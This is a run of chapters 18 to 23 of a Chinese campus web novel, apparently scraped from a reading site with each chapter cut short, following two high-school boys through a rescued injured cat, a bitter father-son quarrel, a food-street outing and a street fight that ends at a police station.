等他重新站稳抬起头,看见面前站着个板着脸的老头,穿着白色的老头背心,凶巴巴地问:“干什么呢,我都说了马上来。” 程澈还真没听见,他把纸箱赶紧捧着往前举,“这只猫快不行了,车撞的,叔你看看能救吗?” 凶巴巴老头看了眼猫,手伸进纸箱扒了扒头,说:“进来吧。” 程澈就跟着进去了,老头个子高,程澈脚一踏进去,老头就在身后把门关上了。说是兽医站,其实里面是一排小平房,右边一个二层小楼,看着像七八十年代的建筑。 程澈跟着老头进了二层楼,老头侧身打开了灯,房间里一股灰尘与淡淡消毒水夹杂的气味,老头问他:“怎么找到我这的?” 程澈说:“门口有招牌。” 老头哼了声,接过纸箱,把猫抱出来放在蓝色无菌布上,一边检查伤口一边说话:“看着严重呢,估计要拍片子。” 程澈说:“拍。” 老头抬头看他一眼,说:“你有钱吗?我这很贵的。” 程澈想了想手机上的余额,点头:“有的。” 从小到大程赴留下来的钱他都攒着,上高中后程澈去办了张银行卡,把钱全都存卡上了。程赴干别的不行,一幅画确实能卖个不少钱,就是大钱见不着程赴往家拿,小钱还是有的。 老头捏捏猫的胯骨,掰开猫的嘴看,说:“先打个止血止疼针吧。” 程澈站在一边,看老头从里室拿了针和酒精棉,捏起猫的脖子打了两针,打完捏着那块肉揉:“那不是有板凳,坐就是了。” 程澈坐不住,说:“没事,站着就行。” 打完针老头抱着猫进里屋,“你也进来。” 程澈跟进去,里屋是些检查仪器,看着还挺齐全,就是台面上有层淡淡的灰,看着似乎挺久没用过。 程澈看见老头把猫放机子上,指挥程澈:“你把它爪子摁住了,不然拍不清。” 猫身上不少血迹,既有吐的也有尿的,黑色毛那片还不明显,白毛那片就很吓人了,殷红粘稠。 程澈无从下手,他怕弄疼猫。老头大概是嫌他墨迹:“嫌脏啊?” 程澈摇头,伸手摁住猫,猫这会清醒了点,开始挣扎了,他有点摁不住。 老头看了眼他衣角上的菜汤,又说:“把它两只爪子并在一块握,一手握一半。” 程澈听着照做了,红色的定位光照射在猫剧烈喘息的肚子上。老头拍完了,从屏幕前过来说:“放开吧,还拿着干嘛。” 程澈赶紧放开,老头朝他招手,“过来,给你看片子。” 老头指着屏幕里的片子,“肝脏有点模糊,不知道是不是受损,总体来说内脏部分还好,但是耻骨那骨折了,整根骨头歪了,挫开了,你应该也能看见。” 程澈看不懂,但还是点头,“要做手术吗?” “做是最好做的,但这猫应 18. 第18章 《狗百岁[校园]》全本免费阅读 程澈抱臂倚着墙快睡着了,听到人走路的动静才醒,一睁眼就看见老头抱着猫下来了,厚厚的纱布裹着半个身子。 程澈站起来,哑着嗓子问:“多少钱,叔,我给你。” 老头看他一眼没说话,进去里屋,过会拿了几瓶药出来,又找了干净的纸箱。 “一万。”老头哼了声。 程澈一愣,他低头思考了下余额,说:“不一定够,欠的我赊着,慢慢还您,行吗?” “别人说什么你就信啊?哪天在外面被人卖了都不知道。”老头把猫放进干净纸箱里,又哼一声:“赶紧端走吧,快十二点了,你还想在我这儿睡啊?” 老头不想收钱,程澈看出来了。 程澈说:“叔,我真有钱。” 打扰老夫妻一晚上,且不说老头二话不说就救了猫的命,单说他走投无路时人家开了门,就不能让老头亏钱。 老头把他推到门外面,啪地关了灯,“上高中了?” 程澈嗯了声,看着老头低头锁门:“你真要在我这睡?” “叔…” “谁是你叔,我孙子都上大学了,可别乱叫。” “爷…” 老头无奈了,转过身看着死活不肯走的程澈,一指杂草横生的小院:“看见这草没,过几天来帮我扫了,顺便给猫换个药。 程澈鞠了个躬,抱着猫出去了,老头跟在他后面。 路上已经基本看不见什么人,程澈站在那儿安静地等,一辆车也没看见,老头在后面长叹口气,转身进去了。 程澈扭头看了眼,老头忘了锁门,怀里的黑白花往箱角缩了缩,程澈伸手给盖子拉下来些。 十分钟后远远看见有辆车开过来了,开近才看见正是辆出租。司机是个四五十岁的中年女子,探头问:“是你要坐车?去哪?” 程澈说:“乌海巷,那边有条美食街——” 司机说:“我认得。” 车掉头,程澈从半开的车窗看见老头又重新出来了,从里面咣地一声把门关上。 车里没开空调,车窗半开,流通性很好,一点也不觉着闷,甚至闻得见淡淡的花香——是真的花香,不是劣质香薰。 前排玻璃前放了两朵茉莉,车开出去一段路,司机回头跟他讲话:“你一个人出来的?” 程澈说是。 司机说:“今晚我要是不来你打算怎么办,猫是救了,你怎么办?” 程澈低头不语,他也不知道。这么多年死在他面前的猫有很多,狗也有,赵庆说的话是因为他冷漠吗? 其实也不全是。人的一生漫漫大几十年,离别是必定会遇见的课题,如果每一次的离别都要从心脏里剥离出一块献出去,那人会痛死的。麻木有时是一种不得不的自我防护机制。 司机看了眼后车镜,可能是误会了他的沉默:“奇怪我为什么会知道吗?那老头是我爸,一年到头没多少生意,也不是正规兽医站,自己起的名儿,也不知道在坚持什么。” 程澈安静地听,眼圈发酸。司机语速不快,有一搭没一搭地说着话,夏夜的风从车窗外钻进来,拂在他的脸上:“你跟我儿子差不多大,我才多说两句,别嫌阿姨啰嗦啊。” 程澈摇头,“不嫌。” 司机打转向灯,说:“你一个小孩,大晚上跑出来,家里人不找你吗?” 程澈笑笑:“我心里有数。” 司机哼了声,这会才看出来劲儿和老头一模一样,“半大小子,心里有什么数。” 这种感觉程澈其实挺陌生的,但他不讨厌。 程澈问:“阿姨这么晚还在外面跑车。” “是啊,我跑夜车。”司机说,“我专拉小姑娘,你是为数不多的男乘客之一。” 程澈笑了几声,司机继续说:“我这车收拾的不错吧,干净整洁,等会可得给我打个五星。” 车到乌海巷口停住,不远的美食街已经散的差不多了,空空的地面上留了些垃圾。 程澈付了钱,特意打赏了一笔,打赏完看见列表下一溜排打赏的,基本都是女孩子头像。 十二点多了,巷子里人家都睡了。他抱着猫掏出钥匙蹑手蹑脚开门,院子里灯关了,乌黑一片,程澈站在那适应一会黑暗,才轻轻锁上门,端着猫上楼。 江河的房间黑黑的,应该是睡着了。 关了房间门,程澈把猫掏出来放在桌子上,黑白花麻醉已经醒了,因为半个身子都被绷带缠住,老实的很。 程澈从衣柜里掏了件不常穿的衣服给纸箱垫上,铺平整后把猫放进去。 猫一声也不叫。程澈蹲着平视它,搓搓它的脑袋。 之后的两天,猫的状态越来越好,就是不能走动,后腿瘫在那儿,一双大眼睛转来转去地看。 黑白花缺营养,不可能长期吃火腿肠,于是程澈从网上买了猫粮猫砂,寄到赵庆那。赵庆说:“真救活了?花不少吧。” 程澈心里有气,没表现出来,问就答:“活了,没花钱。” 赵庆说:“这倒是稀奇,买的什么啊,这么大两袋。” 程澈没说话,把东西往肩上一扛,临出门注意到放着的电视又没声了。他伸手拿过玻璃柜上的遥控器解除静音模式,弄完遥控器往那一扔,头也没回地出去了。 赵庆跟旁边择菜的李婶儿说话:“这小子心里有气呐。” 可不得有气,活着的小猫就给装纸箱里了,让它等死吗?但程澈知道,他其实不是气赵庆,到底是气什么,他自己也弄不清楚。 江河知道他弄了只瘸腿猫回来,可高兴了。程澈特意嘱咐她谁都不能告诉,江蔓也不行。 家里来打麻将的人多,难免有怕猫的,虽然猫现在腿是瘸着跑不了,但以后腿好了,少不了会到处跑。 江蔓不会给养猫的,至于猫痊愈后该怎么办,程澈没想好,但至少现在他得让猫在他房间里养伤,过两天去开心兽医站给老头扫院子,顺便把猫带去换个药。 他没给黑白花起名字,程澈最怕起名字,每天喊猫就喊小猫,和江河两个人跟做贼一样,每天吃过饭就上楼,偷偷地在房间里看,两颗脑袋拱在一块。 期间带江河去透析一次。其实大部分时间是江蔓带江河去,小部分时间程澈在家才 19. 第19章 《狗百岁[校园]》全本免费阅读 贺远川消失的这几天其实挺曲折。 乔稚柏和乔焕那晚在他家看完恐怖电影大概就一点左右了,一大一小两人去客卧睡,谁都不敢离了谁。谁知大半夜客卧空调坏了,两豌豆王子没招,又不敢在空荡荡的客厅沙发上睡,怎么看都感觉会从四面八方钻出个鬼来。 兄弟俩从客卧爬到了贺远川的床上,贺远川半睡半醒间就感觉两团活物蹑手蹑脚地爬上他的脚边,吓得给了两边各一脚,听到乔稚柏和乔焕的惨叫才松了口气。 第二天三人睡到快十一点,乔父打电话叫乔稚柏把乔焕送去辅导班,等愁眉苦脸的兄弟俩走后,贺远川又在床上赖了会,玩了两把游戏,期间乔稚柏给他弹了几条微信,他也没理。 身上有股若隐若现的火锅味,他拿了套简单的家居服去浴室洗了个澡,换好后从楼上下来。 阳光透过落地窗照进家,贺远川绕过桌椅从冰箱里拿水喝,刘姨在厨房做饭,见他下来了,说:“少爷,新订的牛奶送来了。” 贺远川仰着头喝水,闻言皱皱眉,他把瓶盖拧好放回冰箱,关上门:“怎么又这样叫我,不是说了不要这样叫吗?” 刘姨照顾他的饮食起居好些年了,贺远川不喜欢她这样称呼自己。一是觉得都什么年代了,二是自己算哪门子少爷? 被藏到近千公里外十八线小镇的私生子也能被称作少爷么。 只有一个人会喜欢让刘姨这样称呼自己,一个贺远川连和他待一秒都觉得恶心的人。 刘姨看了他一眼,又看了眼一楼靠着后院旁的那间书房,压低声音:“贺先生回来了。” 书房的房门紧闭,贺远川没说话,也没看那扇门,直接转身上楼,刘姨在身后压着声音喊:“你不吃饭了吗?贺先生说要见你。” 回应她的只有一颗越来越远的后脑勺。 贺临回来了。贺远川的心情急速变差,窗外的阳光变得刺眼,他掏出手机,这会才看见乔稚柏上午发的信息,后面又跟了几条新的: 【帅哥罢了】:完了完了,贺远川你快起来吧!! 【帅哥罢了】:我先走了…我弟要迟了 【帅哥罢了】:真没地方去就来我这儿 大概过了五十分钟,下面是乔稚柏发的新消息: 【帅哥罢了】:怎么样了?要不要叫王叔去接你 【帅哥罢了】:回我一下,人呢?? 【帅哥罢了】:没打起来吧?! 贺远川打字:没,快了。 发完他把手机扔床上,坐进沙发里,满身烦躁。贺临基本只一年来一次,平时见不到一个信,他不知道这次回来又要做什么,每年的见面都非常不愉快。 门被敲响了,刘姨在外面说话:“少爷开门,贺先生想和你说些话。” 这个口气一听就是旁边有人,少爷,只有贺临喜欢这样叫,他是什么,老爷吗?所以才这么喜欢在外面风流? 门又响了两声,贺远川坐在沙发上没动,几秒后就听见一个威严又冷漠的声音在门外响起:“贺远川,出来。” 门内没动静,贺临掏出钥匙直接开了门。 锁开了,贺临把钥匙扔给刘姨,门尚未推到底便听见一声充满厌恶的:“滚出去。” 贺临站定,阳光和煦的房间里,沙发上坐着一少年,身形懒散地靠在那,比去年见要高了些,就是满脸不耐烦,眉头紧蹙,连一眼都不愿看他。 “这就是你和父亲说话的态度?”贺临的语气强硬又严厉,他在生意场上多年,没有人敢这样和他说话。 偏偏这个放在清野镇养着的是个儿子,虽是他一夜情的产物,但终究流的是贺家的血。 贺临扫视一圈房间内的摆设,家具不多,被子凌乱地堆在床上,床尾散落着几件皱巴巴的衣服,连窗帘都只拉了半边,另一半随意地用根绳子揽起来,德行和此刻斜倚在沙发上,坐没坐相的房间主人一个样。 贺临皱眉,转头质问门口站着的不知所措的刘姨:“少爷的房间你是平时进不来,还是我酬劳给的不够?” “不不,够的够的。”刘姨局促地往前走了两步,不知道该说什么。 “少爷?那你是什么,老爷?”贺远川嗤笑一声,充满嘲讽:“三妻四妾是吧,贺总,咱确实是老爷。” “没教养的东西。”贺临被这句话刺到,他摘了腕表,往旁边的桌子上随意一撂:“从房间就看得出来,你有多么的懒散,没有规矩,毫无目的和规划,简直是个混子。” 刘姨从外面把门关上了,贺远川听见门锁咔哒一声合上。 贺远川低头笑了会,抬头看向这个生物学父亲,尽管不愿承认,贺远川觉得自己此时像是在照镜子。 无需做DNA鉴定,只需一眼就能知道他贺远川,是贺临的儿子,因为这张一个模子刻出来的脸,这两年贺临也老了,鬓边开始生白发,只是依旧和贺远川记忆里的一样,不苟言笑。 这种感觉让他感到恶心。 “我没教养没规矩不是一天两天的了,我有娘生没娘养,贺总每年回来都要审判我一番,怎么,私生子烂泥扶不上墙,也能给你的脸上败面子吗?” “混账东西!”贺临握拳在桌上砸了重重的一下,那块价值不菲的腕表从桌上弹起,翻了两圈落到地上,贺远川听到了零件表盘散落的声音。 ”谢谢啊,”贺远川站起来,他没有心思再陪着这位生物学父亲继续下去:“混账东西就是该混日子的,不要对我抱有什么不该有的期待。” “站住,”贺临看着往门那走的贺远川,“我这次回来就是告诉你,如果你再这样继续混日子,就不用参加高考了,可能当年我把你放在这就是个错误的决定。” 贺远川在门口站定,听贺临淡淡地说:“年后你回贺家,没人会说你什么,你之后的路我会铺好。” “因为你发现自己老了,是吧?”贺远川听完那段话,低着头笑了下:“贺家的产业需要人继承,所以我就得从被藏了十几年的小镇里摇身一变去做少爷。你 20. 第20章 《狗百岁[校园]》全本免费阅读 程澈删删减减半天,回:干什么? 手机震动,程澈低头看,“-”:好奇。 怎么什么都好奇,真够闲的。 程澈垂眼打字:那就好奇着吧。 一条消息回过去,对面安静了。 顿了顿,程澈点开备注栏,给“-”用户改了个名儿,改完把手机揣进口袋,拾起地上的小锄头开始除草。 老头的院子杂草多,虫子也多,这一会功夫脚踝上被咬了几个红痕。 老头看他热得脸通红,招呼他:“进来歇会!干不完算了,本来就是随口一说。” “没事,”程澈摇摇头,“不弄完我心里过意不去。” 老头也就随他了,不一会进那排小平房里端了盘蚊香出来,后面跟着老奶奶的骂:“你点那玩意儿有什么用?把里屋那瓶杀虫剂拿出去喷。” 老头也炸了:“就你懂得多!猫在外面呐,你药虫子还是药猫呢?” 兜里手机又响了一声。程澈不想理,又除了好一会草,才甩干净手,手指夹着手机边拽出来看。 拥有新备注的贺远川又发消息过来了。 “宇宙好奇大王”:【语音】 哦?程澈抬了下眉。 这次不是文字,是条五秒的语音,不长,后面跟着个小红点。 是用语音骂他吗?程澈抬眼看了下上一条,也还好吧? 程澈蹙眉点开语音,老头这院子不算安静,外面经常有来来往往的车辆和行人,他把声音调大贴到耳边。 语音前一两秒是空白的停顿,没有人声,只有风声,程澈从这段有些嘈杂的空白里听见了车鸣。 应该是在乌海巷往南过两条街,那边有架桥,下面是面湖,离美食街也不远,走路大概十几分钟。 车鸣声后才听见一个不大的人声,慢慢清晰,应该是背过身对着风了。 “收留下我,小程老师。”贺远川的声音从手机听筒里传来,带些语音传输过程中被压缩产生的特有音质,有些沉,又有些柔,懒懒的,他一贯的说话腔调。 程澈立刻判断出他说话时一定离手机很近。 这几个字仿佛敲在程澈的耳膜上,他不动声色地将手机拿远了些。 没过多久,开心兽医站的门就被人敲响了。 “谁啊?”老头站起身去开门,门一开,外面站着个眼生的高瘦男孩。 年纪不是很大,上面穿件简单的白t,下面是条浅蓝色牛仔裤,一眼看去十分清爽,五官比院里那个要冷冽些。 老头刚打开就要关上:“走错了,我这不治人。” 程澈蹲着回头看,从即将要关上的门缝看见道熟悉的身影。 他不过是随口一答,谁知道这人真打车来了。 下一秒便听见贺远川说,应该是在伸手指自己,隔着门看不太清:“您好,我找里面那个。” 老头转头看程澈,程澈只好眯眼笑着点头,表示确实认识,张嘴跑火车:“我同学,他喜欢打扫卫生。” 老头嘀嘀咕咕地让开了:“还有这种爱好。” 贺远川两手空空地进来,什么都没带,往程澈旁边一蹲,倒真有点被家里赶出来的样子。 程澈没问缘由,只是默不作声地抱着膝盖往旁边挪挪,耷拉着眼问:“你来干什么?” “打扫卫生。”贺远川很自然地探过身,要从他手里拿过小锄头。“顺带被收留下。” “我自身难保。”程澈说,“你好自为之。” 贺远川轻笑了声,没说话,拿锄头时手指不经意间碰到了程澈的手背,一触及分。 他用锄头挖草,边挖边问程澈,问得认真:“是这样用的么?” 贺远川的指甲修剪得很干净,因为用力,手背鼓出淡淡的筋条,顺着骨骼蔓延,程澈盯着那双手,莫名觉得手背痒痒的。 牙也有点痒。 都说身体的反应骗不了人,果然还是烦这个人,身体说恨不得想咬死他。 “挖就是了,这也要问。”他收回目光,伸出手拔草,效率明显没有旁边这位快,程澈索性一屁股坐草地上。 横竖有人上赶着来打工,他也确实累了,坐那儿说:“美食街下午不出摊,晚上五点后才出。” “那回去一起吃吧。”贺远川说,“你请我。” “没钱。”程澈身子往后仰,眯眼看天空中红通通的太阳。“我只是同意帮你补课而已,不是要负责你的人生,贺同学。” “暂时负责一下吧,”贺远川说。“我有点可怜。” 程澈低头看他,贺远川在认真地铲一块顽固的草根,说得很随意。 “再说吧。”程澈说,想了会又说:“不是负责,是拔草的酬劳。” 贺远川嗯了声,说:“都行。” 程澈只当他在开玩笑,但是也没说关他屁事这种话,从贺远川敲门到现在,虽然明面上和往常一样淡淡的,但是程澈就是能感觉得到这个人不太开心。 真是奇怪。 程澈忍不住看了看自己的手,余光和拿着锄头的那只偷偷做对比,虽然自己的手也算是修长,怎么同样的锄头让那人拿在手里就显得小呢? 两人靠的近,虽然程澈有意往旁边挪了,但他挪一步,贺远川就跟着往这边挪一步,像是故意的。 几次后程澈受不了了,再挪他就要贴墙上去了。程澈从地上一骨碌爬起来,说:“你靠我这么近干什么?” 贺远川没站起来,昂头看他:“不是说看我不爽,我试下是到什么程度。” 程澈站在身侧垂头盯着他,这个角度的贺远川确实莫名有点可怜巴巴的,他沉默地将拳头捏得紧紧的,忍住想一拳砸到那张脸上的冲动。 他几步绕开,找了个远点的地蹲着,很严肃地说:“不用试了,你在那挖吧,再过来我揍你了啊?” 贺远川低低地笑了两声,眼见这位真要炸了,才不挪了,用小锄头认真地锄草。 两人都不再说话,一人蹲在一个角劳作,院子杂乱的电线上偶尔飞过几只麻雀。 晴了后的天气还是很热,今天的太阳大,晒得人背后发烫。间隙里程澈抬头用手背擦汗,不经意间看见蹲在那边的贺远川因为热而变粉的耳朵。 以及脖子。程澈断定这人的皮肤一定很薄。 脸倒是没红,光看脸看不出这人热。 贺远川头没抬,但知道有束目光一直在自己身上,“看 21. 第21章 《狗百岁[校园]》全本免费阅读 “什么ci ?”程澈问:“听着怎么有点奇怪。” “刺猬的刺,”贺远川说,车窗外天色已黑,到处是晕成一团的汽车车灯与电动车鸣笛声,贺远川又重复一遍:“小刺。” 程澈是个取名废,“小刺”总比“小猫”的指向性要强些,他低头试探着喊腿上的猫:“小刺?” 黑白花撅着个大腚,身残志坚抬起那条受伤的腿,费劲吧啦地在猫包里转了一圈,把身子一甩,背对着两人。 看着似乎是非常不满意。 程澈抬眼看看贺远川,没说话,贺远川解锁手机给乔稚柏又发了条语音过去:“不用接了,我晚上自己回去。” 乔稚柏回:你那儿是不是网不好?刚刚不是说过一遍了? 贺远川拿眼瞄了下新弹出的这条微信,没回,把手机揣回了兜里。 公交车很快就到站了,两人下了车。隔着马路看到长长的红色棚子已经支了起来,小推车小摊子摆成两列,来来往往的人多,很是热闹。 两人在这头等红灯,间隔不远,能听得到食材与油脂在铁板上因为高温煎制发出的滋滋啦啦的声音,小摊贩叫卖,路边哪家门面里在放《七里香》的前奏,空气中麻辣与孜然的气味十分浓烈。 程澈其实并不太饿,回来前在老头那吃了西瓜,红灯还剩十三秒,他看着路对面攒动的人头问贺远川:“你饿吗?” “不怎么饿。”贺远川说。 太好了。程澈抱着猫包的手指不由自主地搭着边敲了敲,贺远川垂眼看了下。 红灯还剩七八秒,程澈看着倒计时,红色的数字一点点跳动,说:“不如我们就…” 不如我们就各回各家吧,作为一对不那么熟悉与亲近的同桌,程澈认为一下午的相处时间已经完全足够,再多就超过了。 “又饿了。”贺远川说,斩断了程澈的后半句话,“好饿。” 程澈斜着眸子狠狠睨旁边人一眼,这人说话怎么一会一个样子?跟放屁一样。 “翻我白眼儿是吧。”贺远川根本没看程澈,程澈都不知道他是怎么感觉到的。 贺远川伸手,用拇指和食指捏着程澈肩膀上的一小点衣服,另只手松松垮垮地搭在口袋边,“绿灯了,走了。” 他本来就比程澈高半个头,这样一提溜跟提溜小鸡仔似的。 “放开我。”程澈有点不爽,晃了晃肩膀,腿倒是跟得紧,贺远川步子大,但是迈得不快,“你自己先说的不饿。” “年轻人饿的快,没听说过吗?”贺远川一本正经地耍无赖,捏着衣服的手突然往自己身边一拽,程澈人跟着力度过去了点,刚过去就有辆摩托车从旁边驶过。 贺远川松开了手,说:“我还年轻,肠胃好吸收好,不行?” 肩膀那儿贴到了什么地方,温热的,有点硬。大概是胸膛。 程澈不动声色地往外侧移了点,他又闻到了那股若隐若现的洗衣粉味。 “好吧,”程澈盯着那团越来越远的摩托车尾灯,慢吞吞地问,不大情愿:“那你想吃什么?” “我不挑食的,好吃就行。”贺远川的态度挺诚恳。 二十分钟后程澈就后悔了,后悔没早点将这人从公交车上踹下去。 手抓饼摊前,程澈抱着猫问身边的人:“吃吗?” 贺远川看了会,头往程澈耳朵边歪,小声:“不想吃。” 狼牙土豆铁板摊前,程澈抱着猫问身边的人,“这个呢?” 贺远川看了眼前面排着的队伍,头往程澈耳边又一歪,小声:“人好多。” 锅巴饭小帐篷前,程澈抱着猫,将牙咬得紧紧的,从牙缝里憋出字:“吃?” 贺远川看着油滋滋啦啦的锅底,头又要往程澈耳朵边歪。 这次程澈终于蹙着眉躲了,要不是怀里有猫腾不出手来,他真想给这人脑袋推过去。 高半个头怎么了,很了不起吗?直接张嘴说话他听得见,一直歪头要干什么?贺远川说话吐出的气痒痒的,声音也柔柔的,吹在耳朵边上更烦人了。 “说话就说话,你贴什么?”程澈皱着眉,耳朵因为痒发红,“很痒,很烦人。” “哦。”锅巴饭小帐篷下垂着的灯不那么亮,贺远川乌黑的瞳孔静静地看着他。 半晌,贺远川淡淡地说:“其实是怕你听不到,因为人多有点吵,抱歉啊。” 程澈还是头一回见到贺远川这幅模样,有些安静地说着抱歉。 他突然又想起了下午微信对话框里五秒长的语音,一两秒的空白之后,与车鸣前后响起的那道懒懒的人声。 在桥上,背对着呼啸的风,有点沉,有点柔。 还有点落寞。和现在一样。 虽然很不明显,但他确实能感觉得到。 “好吧。”程澈收回目光,轻叹了口气。 他往那个人身边靠近了些,低着头小声说:“我实在不知道你想要吃什么,要是我说,我觉得这些都挺好吃的。” “程澈。”贺远川突然叫他的名字。 “嗯?”程澈抬起头,米饭被油煎出了焦香味,锅巴特有的香气飘了出来,他问:“怎么了?” 那双乌黑的瞳孔倒映出自己的身影,一个淡淡的轮廓,正抬着头。 贺远川没说什么,只是手朝自己伸过来,程澈条件反射地闭上眼睛,肩膀往上缩了缩。 不至于吧,说了句烦就要动手打人吗? 眼皮上被轻轻掠过,指腹擦着自己的睫向上,在眉尾处停下,痒痒的。 贺远川将那根碎草屑捏起来,掐在指腹里揉着玩,面前的男生将眼睛闭得很紧,身子蜷着紧绷绷地向后斜了点,不知道睁眼。 程澈的睫毛很长,浓密且直,贺远川想,难怪平时看着总是无辜。 “好了。”贺远川说,轻拍了下程澈的肩,“睁开吧。” 程澈睁开了,世界突然变亮,贺远川已经往前走了,他两步跟上去,皱着眼睛问:“你刚刚干什么了?” “没什么。” 程澈不信:“你在我眼皮上画东西了?” 贺远川停下脚步,他到底在这人心中是什么样的恶劣形象? “画了。”贺远川把手举起 22. 第22章 《狗百岁[校园]》全本免费阅读 “那你呢?”程澈突然问。 贺远川抬头看他,程澈被那道视线晃了下,低头拿勺往嘴里塞了颗馄饨,声音小了点:“看你像谈过不少呢。” 贺远川听完就笑了,扶着碗的手放下来搭在桌上,随着笑声颤动,说:“原来我是这样的面相?怎么,你介意啊?” 程澈说:“我介意个屁,你谈三十个也不关我的事。” 小马扎有些矮,程澈坐得腿有点难受,他胳膊肘撑住桌子,一条腿往桌子外伸长,松松垮垮地坐着,脚边放着猫包。 馄饨摊子生意很好,这会外面的几张桌子也陆续坐满了。 这种状态让程澈感到放松,不用刻意扮演谁讨好谁,爱谁谁。 “那你还问,”贺远川漫不经心地说:“反正也不介意。” 程澈看他一眼:“三十个不是我说的,是贴吧和超话里说的,有句话叫无风不起浪。” 无风不起浪,看你这个人就不像好鸟。 “是么,”贺远川问,直击问题的重点,“学霸每天写完作业,还顺带上网搜索下同桌的八卦是吧?果然是好学。” “搜你的黑料。”程澈说,碗里还剩几颗吃不下了,他侧身拽几张纸巾,往贺远川面前扔了两张,自己拿剩下的擦嘴巴: “搜不到我就自己编点。” “那搜到了吗?”贺远川将面前的那两张纸拿在手里,也不擦手,轻轻搓着玩:“我可不是什么好学生。” “一箩筐呢。”程澈瞎扯,凶着脸恐吓:“所以别老威胁我了,我真的会告老师。” “哦。”贺远川点头,“怎么说,明天几点帮我补习?” 程澈咬牙:“我说我会告老师。” 贺远川说:“早上九点吧,架子桥东边有家奶茶店。” 程澈盯着他:“我起不来。” “十点,”贺远川站起身,拎起程澈脚边的猫包,非常故意:“我也会告老师。” 程澈沉默地站起来去店里付了钱,付完出来时,贺远川抱着猫,正站在路边等他,像一棵挺拔的树。 “把猫还我。”程澈说。 贺远川递给他,问:“’暂时是‘是什么意思?” 程澈知道他说的是下午那会的微信消息。 “字面意思呗,”程澈接过猫说:“我家不方便养太久。” 贺远川哦了声,问:“那猫之后怎么办?” 两个人顺着路边往乌海巷方向去,程澈没回,只是看他一眼问:“你不回家?” 贺远川说:“我消消食。” 程澈把包往上颠了下,黑白花胆子小,街上人多它就非常老实,这几天因为开始吃猫粮,体重直线上涨,连脸都变圆了些。 “你消吧。”程澈懒得搭理他,“我要回家了。” “家里有门禁啊?”贺远川的胳膊有点硬,偶尔碰到一起时,倒真像是碰到了一棵硬朗的松柏枝干。“比如几点没到家就不给进门的这种。” “我家国庆假期早上十点不让出门。” “今晚现加的门禁是吧,”贺远川说:“别挣扎了,明天奶茶店看不到你,国庆回去我就把你那些事儿都给抖出去。” “你抖吧。”程澈破罐子破摔,“你又没证据,空口造谣,谁信你。” “你怎么知道我没有?”贺远川笑了声。 程澈脑袋里突然和炸雷似的,停住脚步,整个人抱着猫愣在原地。 他猛地回想起那天在巷子里,那道隐秘又一闪即逝的白光,当时他只当是路灯年久失修,现在想来,妈的。 这人在偷拍!他居然一直没想到! “你拍我?”程澈咬着牙问,要不是周围人多,他一定要揪住这人的衣领砸到墙上去。 这几天完全被假象迷惑住了,这人还是一如既往的让人讨厌。 “嗯。”贺远川说,“你长得挺好看的,程澈。” “删了。”程澈气得太阳穴疼,千算万算没算到今年他命里犯贺远川,怎么偏偏就给这人撞上了。 还没等到回复,程澈感到后背突然被一股蛮力向前推了一把,他没防备,整个人往前栽,怀里猫包也斜着飞了出去。 混乱中程澈将飞出去的猫包拽着背带给拉了回来,黑白花受到惊吓在包里发了疯地乱撞,拽猫包这一举动导致程澈彻底失去平衡,抱着猫一头撞在绿化带外面的铁栏杆上。 脑袋刺痛加眼冒金星,这是程澈跌坐在地的第一感受,额头边上痒痒麻麻的,有什么温热的东西顺着滑到了颊边。 他伸手摸了下,低头看,满手血。 耳边突然传来许多惊呼,接着是骂声和桌椅板凳在地上摩擦倾倒的轰鸣,程澈皱着眼睛艰难抬起头。 贺远川不在身边了。 那一堆倒了的桌椅板凳中,有几个人正扭打在一起,程澈从有些模糊的视线里看清了,最中间那个人的身影无比熟悉。 正是贺远川。 他皱眉,撑着地想坐起来,一动只觉得头疼欲裂。 黑白花在包里挠纱网,喉咙里发出呜呜的低鸣。程澈用手轻敲敲猫包,轻声喊:“小猫,不怕。” 黑白花就真的安静了下来。 “怎么打起来了啊,快报警。” “哎哟,这几个人喝多了,推人家小伙子干嘛哦,你看那边坐着的那个,头都撞烂了——” “天,那一头的都是血吧,这可怎么办,看着年纪不大啊。” 程澈捂着头,嗓子又干又涩。他手心里破了皮,糊了一层水泥地上的细沙。 程澈抬眼朝那几个身影用力喊:“贺远川——” 这一嗓子拉扯到了额头上的伤口,流出的血更多了,一股一股的,衬着太阳穴也疼,程澈猜估计是铁栏杆撞破了血管。 旁边的大姨拿了纸巾来:“我打了医院的电话,真是作孽!那边那个是你同学吗?几个人打一个学生,怎么好意思!别怕啊,一会警察就来了。” 程澈死死盯着扭打的几人中那道他熟悉的身影,他看着贺远川满脸冷漠与戾气,一拳一拳挥向那几个喝醉酒闹事的男人。 他终于见识到了贺远川打起架的样子。 发着狠的,咬着牙的,一拳一拳到肉,完全无所谓自己,哪怕胳膊挨了谁的一脚,也要吃着疼全部还回去,加利息 23. 第23章 《狗百岁[校园]》全本免费阅读 乔稚柏匆忙赶到的时候,派出所门口正蹲着两个人,跟两座石狮子似的,一个头上裹着层厚厚的纱布,一个嘴边粘着块四方四正的大创口贴。 美食街周围聚集的几个热心大姨一起跟着警车来了,此时都聚集在背后派出所的大厅,里面闹哄哄的。 砸贺远川啤酒瓶的那个矮个儿其实是张决的表哥,刚开学程澈蹲点光头和黑炭时曾经见到过。 先出手推他的也是矮个儿,今晚矮个儿就是摆明了要来替表弟报仇的。 就是实在孬种,自己不敢来,还得带两个来,三打二,还是没打过,挂的彩比外面蹲着的这俩还要多。 矮个儿梗着脖子喊:“是他们先动手的!” 背后传来几声清脆的巴掌响,程澈歪头往里面瞥了一眼,是仗义大姨出手了,照着矮个儿的稀拉头发就是几巴掌,恨铁不成钢地怒骂: “明明就是你们先推的人俩孩子!真是臭不要脸的,得亏不是我儿子,不然我得扇死你!” 旁边跟着的几个大妈手掌都抡出来了,被穿着蓝色制服的警察叔叔紧急拦住,声音洪亮: “欸,欸!都给我停手,这什么场合还敢打!” 程澈收回目光,往猫包旁边挪了挪。 “准头挺好。”贺远川不知道在看哪,打破沉默。 程澈看他一眼没说话,嘴边的大创口贴实在显眼。 他突然又有点想逃跑了。 可能因为是愧疚,可能是因为别的。 又或许都有。 程澈的脚在地上动了动,将自己抱得更紧了。 “头还疼?”贺远川也将自己团了团,胳膊疼,没团紧。 “还好。”程澈说,其实还疼,但他觉得不应该再说给这人听了,这件事明明因他起,三个人也是奔着他来的。 但是被牵扯得最多的是贺远川。 如果不是他那一瞥,矮个儿手里的酒瓶就朝着贺远川的后脑勺去了,一瓶子下去,程澈不敢想会是什么后果。 值得吗。 “我也还好。”贺远川说,顿了顿,又说:“所以别难过。” “我可没难过。”程澈鼻子酸,他闭着眼,把下巴搭到曲着的膝盖上,闷闷道:“哪有你这样的……” 